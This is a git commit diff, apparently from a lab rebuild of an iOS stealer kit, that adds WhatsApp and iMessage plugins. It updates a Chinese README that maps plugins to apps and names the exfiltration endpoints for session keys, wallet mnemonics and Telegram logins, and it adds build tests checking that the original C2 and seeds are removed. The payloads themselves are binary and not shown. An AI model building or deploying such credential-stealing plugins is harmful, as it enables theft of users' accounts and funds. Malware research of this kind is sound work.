feat: wap/sms
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。
|
||||
|
||||
编号缺 `o15`:原包就没有这一号。`wap.js`(WhatsApp)在原 C2 上 404,这里也没有。
|
||||
编号缺 `o15`:原包就没有这一号。`wap.js` / `sms.js` 从 001trx 同族包按 **lab 7z 密码**重打;dylib 里没有自己的 DGA seed,跟 `tglib.js` 一样用 core 注入的 `PLServerPool` / 渠道 `c`。
|
||||
|
||||
## 公共
|
||||
|
||||
@@ -40,5 +40,7 @@
|
||||
| `s19lib.js` | s | Solflare | `com.solflare.mobile` |
|
||||
| `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` |
|
||||
| `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` |
|
||||
| `wap.js` | wp | WhatsApp | `net.whatsapp.WhatsApp` |
|
||||
| `sms.js` | sms | iMessage | `imagent` |
|
||||
|
||||
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`(Telegram 登录材料),不是助记词。
|
||||
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。`sms.js` 走 `/m/t/g`(拉任务,lab 回空列表)和 `/m/t/r`(回执),心跳仍走 `/event`。
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -92,6 +92,7 @@ RESERVED_CHANNEL_NAMES = frozenset(
|
||||
"nb",
|
||||
"a",
|
||||
"u",
|
||||
"m",
|
||||
"uj",
|
||||
"us",
|
||||
"ub",
|
||||
|
||||
@@ -129,6 +129,19 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
show = json.loads(show_plain.decode("utf-8"))
|
||||
self.assertEqual(show["core"]["sha256"], xxbb_build.sha256_hex(core))
|
||||
self.assertEqual(show["core"]["size"], len(core))
|
||||
by_bundle = {e["bundleId"]: e for e in show["entries"]}
|
||||
self.assertIn("net.whatsapp.WhatsApp", by_bundle)
|
||||
self.assertIn("imagent", by_bundle)
|
||||
self.assertTrue((details / "wap.js").is_file())
|
||||
self.assertTrue((details / "sms.js").is_file())
|
||||
for name, bundle in (("wap.js", "net.whatsapp.WhatsApp"), ("sms.js", "imagent")):
|
||||
member, plain = extract_member((details / name).read_bytes())
|
||||
self.assertTrue(member.endswith(".dylib"), member)
|
||||
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain), name)
|
||||
self.assertEqual(by_bundle[bundle]["size"], len(plain), name)
|
||||
self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain)
|
||||
self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain)
|
||||
self.assertIn(b"sharedReportingPool", plain)
|
||||
|
||||
seeds = json.loads((state / "lab_seeds.json").read_text())
|
||||
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
|
||||
@@ -319,6 +332,26 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertIn("route.js", landing)
|
||||
self.assertNotIn('src="index.js"', landing)
|
||||
|
||||
def test_source_details_has_lab_passworded_wap_and_sms(self) -> None:
|
||||
show_member, show_plain = extract_member((xxbb_build.SOURCE_DETAILS / "show.html").read_bytes())
|
||||
self.assertEqual(show_member, "data.bin")
|
||||
show = json.loads(show_plain.decode("utf-8"))
|
||||
by_bundle = {e["bundleId"]: e for e in show["entries"]}
|
||||
expected = {
|
||||
"net.whatsapp.WhatsApp": "wap.js",
|
||||
"imagent": "sms.js",
|
||||
}
|
||||
for bundle, name in expected.items():
|
||||
self.assertIn(bundle, by_bundle)
|
||||
self.assertTrue(by_bundle[bundle]["url"].endswith("/details/" + name))
|
||||
path = xxbb_build.SOURCE_DETAILS / name
|
||||
self.assertTrue(path.is_file(), name)
|
||||
member, plain = extract_member(path.read_bytes())
|
||||
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain))
|
||||
self.assertEqual(by_bundle[bundle]["size"], len(plain))
|
||||
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), plain)
|
||||
self.assertIn(b"https://%@", plain)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
Reference in New Issue
Block a user